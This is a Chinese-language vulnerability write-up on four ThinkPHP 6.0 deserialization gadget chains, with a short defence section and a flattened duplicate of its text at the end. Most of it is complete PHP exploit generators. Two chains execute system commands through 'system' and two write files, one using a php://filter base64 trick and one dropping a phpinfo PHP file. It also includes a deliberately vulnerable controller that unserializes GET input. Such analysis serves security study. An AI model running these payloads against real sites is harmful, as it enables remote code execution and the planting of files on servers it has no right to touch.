Thinkphp 6.0 反序列化漏洞分析
字数 1659 2025-08-03 16:46:56

ThinkPHP 6.0 反序列化漏洞分析

漏洞概述

ThinkPHP 6.0 存在多个反序列化漏洞利用链(POP链),攻击者可以通过构造特定的序列化数据实现远程代码执行(RCE)或文件写入等操作。本文将详细分析四个不同的利用链(POP1-POP4)。

漏洞环境

ThinkPHP目录结构

project  应用部署目录
├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └└─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └└─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └└─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置)
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └└─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └└─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

漏洞触发点示例

<?php
namespace app\home\controller;

use think\facade\Db;

class Index extends Base
{
    public function index()
    {
        return view('index');
    }
    public function payload(){
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to TP6.0";
    }
}

POP1 利用链分析

利用链路径

  1. vendor/topthink/think-orm/src/Model.php__destruct() 方法
  2. vendor/topthink/think-orm/src/model/concern/Attribute.phpcheckAllowFields() 方法
  3. vendor/topthink/think-orm/src/model/concern/Conversion.php__toString() 方法
  4. vendor/topthink/think-orm/src/model/concern/Attribute.phpgetAttr() 方法

关键条件

  • $this->lazySave == true
  • $this->withEvent == false
  • $this->exists == true
  • $this->data != null
  • $this->strict == true (用于控制 $closure 属性)

利用代码

<?php
namespace think{
    abstract class Model{
        use model\concern\Attribute;
        private $lazySave;
        private $exists;
        private $data=[];
        private $withAttr = [];
        public function __construct($obj){
            $this->lazySave = True;
            $this->withEvent = false;
            $this->exists = true;
            $this->table = $obj;
            $this->data = ['key'=>'dir'];
            $this->visible = ["key"=>1];
            $this->withAttr = ['key'=>'system'];
        }
    }
}

namespace think\model\concern{
    trait Attribute
    {
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
    }

    $a = new Pivot('');
    $b = new Pivot($a);
    echo urlencode(serialize($b));
}

POP2 利用链分析

利用链路径

  1. vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php__destruct() 方法
  2. vendor/topthink/framework/src/think/filesystem/CacheStore.phpsave() 方法
  3. vendor/topthink/framework/src/think/cache/driver.phpset() 方法
  4. vendor/topthink/framework/src/think/cache/driver.phpserialize() 方法

关键条件

  • $this->autosave = false
  • 控制 $this->options['serialize']system 等函数
  • $this->complete 包含要执行的命令

利用代码

<?php

namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $complete = "`id`";
    }
}

namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache
    {
        protected $key = "1";
        protected $store;

        public function __construct($store="")
        {
            $this->store = $store;
        }
    }
}

namespace think\cache{
    abstract class Driver
    {
        protected $options = [
            'expire' => 0,
            'cache_subdir' => true,
            'prefix' => '',
            'path' => '',
            'hash_type' => 'md5',
            'data_compress' => false,
            'tag_prefix' => 'tag:',
            'serialize' => ['system'],
        ];
    }
}

namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver{}
}

namespace{
    $file = new think\cache\driver\File();
    $cache = new think\filesystem\CacheStore($file);
    echo urlencode(serialize($cache));
}

POP3 利用链分析

利用链路径

与POP2相同,但利用点不同:

  1. 利用 file_put_contents() 写入文件
  2. 通过伪协议绕过 exit 限制

关键条件

  • 控制 $this->options['path'] 为伪协议路径
  • $this->complete 包含base64编码的恶意代码

利用代码

<?php 

namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $complete = "aaaPD9waHAgcGhwaW5mbygpOw==";
    }
}

namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache
    {
        protected $key = "1";
        protected $store;

        public function __construct($store="")
        {
            $this->store = $store;
        }
    }
}

namespace think\cache{
    abstract class Driver
    {
        protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>0,"hash_type"=>"md5","cache_subdir"=>0,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0];
    }
}

namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver{}
}

namespace{
    $file = new think\cache\driver\File();
    $cache = new think\filesystem\CacheStore($file);
    echo urlencode(serialize($cache));
}

POP4 利用链分析

利用链路径

  1. League\Flysystem\Cached\Storage\AbstractCache__destruct() 方法
  2. League\Flysystem\Cached\Storage\Adaptersave() 方法
  3. League\Flysystem\Adapter\Localwrite() 方法

关键条件

  • $this->autosave = false
  • 控制 $this->file 为要写入的文件名
  • $this->cache 包含要写入的内容

利用代码

<?php

namespace League\Flysystem\Cached\Storage;

abstract class AbstractCache
{
    protected $autosave = false;
    protected $cache = ['<?php phpinfo();?>'];
}


namespace League\Flysystem\Cached\Storage;

class Adapter extends AbstractCache
{
    protected $adapter;
    protected $file;

    public function __construct($obj)
    {
        $this->adapter = $obj;
        $this->file = 'w0s1np.php';
    }
}


namespace League\Flysystem\Adapter;

abstract class AbstractAdapter
{
}


namespace League\Flysystem\Adapter;

use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;

class Local extends AbstractAdapter
{

    public function has($path)
    {
    }

    public function write($path, $contents, Config $config)
    {
    }

}

$a = new Local();
$b = new Adapter($a);
echo urlencode(serialize($b));

防护建议

  1. 避免直接反序列化用户输入
  2. 及时更新ThinkPHP到最新版本
  3. 使用__wakeup()__destruct()方法进行安全检查
  4. 对反序列化操作进行严格的权限控制

总结

ThinkPHP 6.0 反序列化漏洞展示了多个利用链,攻击者可以通过精心构造的序列化数据实现远程代码执行或文件写入。开发人员应当充分了解这些漏洞原理,采取适当的防护措施。

ThinkPHP 6.0 反序列化漏洞分析 漏洞概述 ThinkPHP 6.0 存在多个反序列化漏洞利用链(POP链),攻击者可以通过构造特定的序列化数据实现远程代码执行(RCE)或文件写入等操作。本文将详细分析四个不同的利用链(POP1-POP4)。 漏洞环境 ThinkPHP目录结构 漏洞触发点示例 POP1 利用链分析 利用链路径 vendor/topthink/think-orm/src/Model.php 的 __destruct() 方法 vendor/topthink/think-orm/src/model/concern/Attribute.php 的 checkAllowFields() 方法 vendor/topthink/think-orm/src/model/concern/Conversion.php 的 __toString() 方法 vendor/topthink/think-orm/src/model/concern/Attribute.php 的 getAttr() 方法 关键条件 $this->lazySave == true $this->withEvent == false $this->exists == true $this->data != null $this->strict == true (用于控制 $closure 属性) 利用代码 POP2 利用链分析 利用链路径 vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 的 __destruct() 方法 vendor/topthink/framework/src/think/filesystem/CacheStore.php 的 save() 方法 vendor/topthink/framework/src/think/cache/driver.php 的 set() 方法 vendor/topthink/framework/src/think/cache/driver.php 的 serialize() 方法 关键条件 $this->autosave = false 控制 $this->options['serialize'] 为 system 等函数 $this->complete 包含要执行的命令 利用代码 POP3 利用链分析 利用链路径 与POP2相同,但利用点不同: 利用 file_put_contents() 写入文件 通过伪协议绕过 exit 限制 关键条件 控制 $this->options['path'] 为伪协议路径 $this->complete 包含base64编码的恶意代码 利用代码 POP4 利用链分析 利用链路径 League\Flysystem\Cached\Storage\AbstractCache 的 __destruct() 方法 League\Flysystem\Cached\Storage\Adapter 的 save() 方法 League\Flysystem\Adapter\Local 的 write() 方法 关键条件 $this->autosave = false 控制 $this->file 为要写入的文件名 $this->cache 包含要写入的内容 利用代码 防护建议 避免直接反序列化用户输入 及时更新ThinkPHP到最新版本 使用 __wakeup() 或 __destruct() 方法进行安全检查 对反序列化操作进行严格的权限控制 总结 ThinkPHP 6.0 反序列化漏洞展示了多个利用链,攻击者可以通过精心构造的序列化数据实现远程代码执行或文件写入。开发人员应当充分了解这些漏洞原理,采取适当的防护措施。